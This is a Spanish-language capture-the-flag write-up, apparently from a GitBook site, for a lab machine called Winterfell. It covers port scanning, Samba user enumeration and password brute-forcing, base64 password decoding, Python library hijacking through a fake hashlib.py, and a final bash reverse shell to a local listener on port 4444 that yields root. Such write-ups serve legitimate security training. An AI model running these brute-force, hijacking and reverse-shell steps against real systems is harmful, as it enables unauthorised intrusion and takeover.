> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/winterfell-write-up.md).
# Winterfell write-up
## **Verificamos conexión con la máquina víctima**
## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 22 (SSH), 80 (HTTP), 139 (netbios-ssn) y el 445 (netbios-ssn) están abiertos. Así que ingresamos la IP de la máquina víctima y observamos lo siguiente:
Como no encontramos nada interesante vamos a utilizar la herramienta llamada **Dirb** para buscar rutas ocultas con el siguiente comando:
```bash
dirb http://172.17.0.2/
```
Esto nos indica que existe un listado de directorios en la ruta `http://172.17.0.2/dragon/`, así que la ingresamos en el navegador y observamos lo siguiente:
Observamos un archivo llamado `EpisodiosT1` el cual contiene lo siguiente:
Esto parece un diccionario que podría contener contraseñas o usuarios, así que vamos a crear un archivo para guardar el contenido.
Ahora usaremos **enum4linux** para encontrar posibles usuarios del servicio **Samba**, para ello ejecutaremos el siguiente comando:
```bash
enum4linux 172.17.0.2
```
Esto nos lista a los usuarios `jon`, `aria` y `daenerys`. Por lo tanto, guardamos estos usuarios en un archivo y realizamos un ataque de fuerza bruta utilizando el diccionario encontrado anteriormente. Ahora, para hacer el ataque de fuerza bruta vamos a usar `crackmapexec` con el siguiente comando:
```bash
crackmapexec smb 172.17.0.2 -u usuarios.txt -p contrasena.txt
```
Esto nos indica que la contraseña del usuario `jon` es `seacercaelinvierno`, así que ahora vamos a usar **smbmap** para ver los recursos a los que se pueden acceder con el siguiente comando:
```bash
smbmap -H 172.17.0.2 -u "jon" -p "seacercaelinvierno"
```
Vemos que tenemos permisos de lectura y escritura en el directorio `shared`, así que vamos a acceder a él usando **smbclient** con el siguiente comando:
```bash
smbclient //172.17.0.2/shared -U "jon"
```
Una vez dentro encontramos el archivo llamado `proteccion_del_reino`, así que descargamos el archivo y comprobamos su contenido
```bash
get proteccion_del_reino
```
Vemos una contraseña cifrada en base64, así que ejecutamos el siguiente comando para desencriptarla:
```bash
echo "aGlqb2RlbGFuaXN0ZXI=" | base64 -d
```
Vemos que la contraseña desencriptada corresponde con `hijodelanister`, así que la utilizamos para iniciar sesión por el servicio SSH como el usuario `jon`.
## **Escalada de privilegios**
Una vez estamos dentro de la máquina víctima como el usuario `jon`, ejecutamos el comando `sudo -l`. Este comando nos indica que podemos ejecutar el fichero `/home/jon/.mensaje.py` como el usuario `aria` utilizando Python. Por lo tanto, vamos a ver el contenido del programa:
Observamos que el programa está usando la librería `hashlib`, así que vamos a crear un archivo que se llama `hashlib.py` para que al ejecutar `/home/jon/.mensaje.py` como aria nos envíe una shell interactiva. Para ello, el archivo `hashlib.py` contendrá lo siguiente:
```python
import os
os.execl("/bin/bash", "bash", "-p")
```
Y ahora solo lo ejecutamos `/home/jon/.mensaje.py` como aria con el siguiente comando:
```bash
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
```
Una vez somos el usuario aria, ejecutamos nuevamente el comando `sudo -l`, el cual nos indica que podemos ejecutar los binarios `/usr/bin/cat` y `/usr/bin/ls` como el usuario `daenerys`.
Así que vamos a ver el contenido del directorio home del usuario `daenerys` con el siguiente comando:
```bash
sudo -u daenerys /usr/bin/ls /home/daenerys
```
observamos un mensaje dirigido a Jon, así que ejecutamos lo siguiente para ver que contiene:
```bash
sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
```
Esto nos indica que la contraseña del usuario `daenerys` es `drakaris`, así que iniciamos sesión como el usuario `daenerys`.
Una vez somos el usuario `daenerys`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el script `/home/daenerys/.secret/.shell.sh` como cualquier usuario.
Así que vamos a modificar el contenido de este script para enviarnos una shell interactiva por el puerto 4444, para ello ingresamos lo siguiente:
```bash
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
```
Ahora nos ponemos en escucha con **netcat** por el puerto 4444 y ejecutamos el script como usuario root.
```bash
sudo nc -nlvvp 4444
```
Y finalmente ya tendríamos una shell con privilegios elevados.
